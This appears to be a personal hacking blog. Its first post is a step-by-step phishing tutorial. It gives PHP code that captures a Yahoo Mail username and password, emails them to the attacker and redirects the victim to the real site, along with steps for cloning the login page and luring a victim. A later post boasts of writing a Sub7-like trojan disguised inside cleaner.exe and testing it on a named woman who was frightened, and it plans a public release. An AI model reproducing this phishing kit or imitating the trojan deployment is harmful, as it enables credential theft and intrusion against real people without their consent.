GHIMAU'S DOMAIN

Yahoo Mail Hack

Posted by ghimau under tutorial

Wanna hack yahoo mail?

Hihihi.. yes you can.. but you dont have to hack yahoo's server, the only thing you need is some sort of social engineering attack (some might called phishing).

Ok.. let's move on..

1. Create a php file, with the following code. Then upload it, on your favourite web hosting. But be sure that your hosting supports PHP.

youre_email@your_domain.com";
$dari=$login."@yahoo.com";
$mesej="Email :".$login."@yahoo.com , passwordnya :".$passwd;
$subjek = "DMangsa baru.. hihihih : ".$login."@yahoo.com";
$headers = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
$headers .= 'From:'.$dari;
$kirim=mail($dari, $subjek, $mesej, $headers);
if($kirim)
{ header("location:http://mail.yahoo.com");
}
else { header("location:login.htm");
}
?>

2. Download the yahoo mail login page. Change the action= to your newly php file.

3. Send a link to your victim.

4. Just hope that he/she logs in, and you'll get a email automatically with the victim's username and password

1 comments

Hi Guys

Posted by ghimau under misc

Hi.. sorry did'nt update my blog for a long time. I was quite bz doing some works. But guess what? I pass my CEH exam. Was'nt so hard.

Hmm.. my current project?
Hihihi..
I'm developing a new trojan, in Visual Basic. Looks almost the same as Sub7.
Hmm.. need to add some more functions.
1. Edit server - just like the Sub7
After finishing the project, i'll make it available to public :)

On the staging stage, I've tested the trojan on Puan Zaimah (Yang nak jadi hakes), hihihi
She was so terrified and almost want to cry..

I packed the tojan with a legitimate program cleaner.exe.
I was so 'kesian' to her, because, she almost want to nangis.
Ish..ish..
Only her nickname was 'ganas', but she is not 'ganas' at all.

Hihihihih

My Client trojan in action :)

5 comments

My First Tutorial

Posted by ghimau under tutorial

Hihihi.. Finaly I managed to wrote my own tutorial, and published it on the net.

Ok, I wrote a tutorial on hacking AppServ application. I've posted the tutorial on the HackerMalaysia's forum. To see the thread, go to this url.

And you can also download the pdf version here.

Another one is a tutorial on how to challenge level 4 of Hackthis site.
To see the thread, go to this url

And you can also download the pdf version here.

p/s : The tutorials are in Bahasa Melayu :)

2 comments

Admin sucks!

Posted by ghimau under

Most admin especially the tittled 'Network Administrator' are stupid! Sorry to say that..
I came across several government sites that is unsecure, and is potential to be hacked!

Yeah, I do know.. most of them don't know security, but what makes me mad is that, they are talking as if they are security guru!

What the hell!

The most iritating part is that, they wont listen to your advice, the just dont care, because of your rank! This is what makes hackers hack!

Selangor government portal's bug

Melaka government portal's bug

E - Syariah

Hacker's are here.. where are you?

1 comments

HACKER HALTED

Posted by ghimau under misc

Hihi.. the EC-Council guys invited me to the official regional media launch of Hacker Halted, at Velvet Underground, Zouk Kuala Lumpur this monday..

Hihi.. get a chance to meet the hackers...

[My name]
[My 'company' ]

THE OFFICIAL REGIONAL LAUNCH OF HACKER HALTED

Hacker Halted is the brainchild IT Security Conference of world leading certification authority - the International Council of E-Commerce Consultants (EC-Council) that is based in Albuquerque, New Mexico, USA. EC-Council came together post the 9/11 incident where issues of cyber terrorism were raised in the forefront of security of nations at large.
This conference was run successfully in many countries including Kuala Lumpur (2004), Singapore, Mexico, Dubai, Taiwan, Hong Kong and the latest one in China which saw more than 700 paid participants enjoying 3 full days of conference.

So this is zouk club? Huh

0 comments

Bagan Lalang Fishing Trip

Posted by ghimau under misc

Last Saturday, I planned a trip to Bagan Lalang. Our main purpose were to go fishing, but guess what? the fishing trip turned to ghost seeking activity :)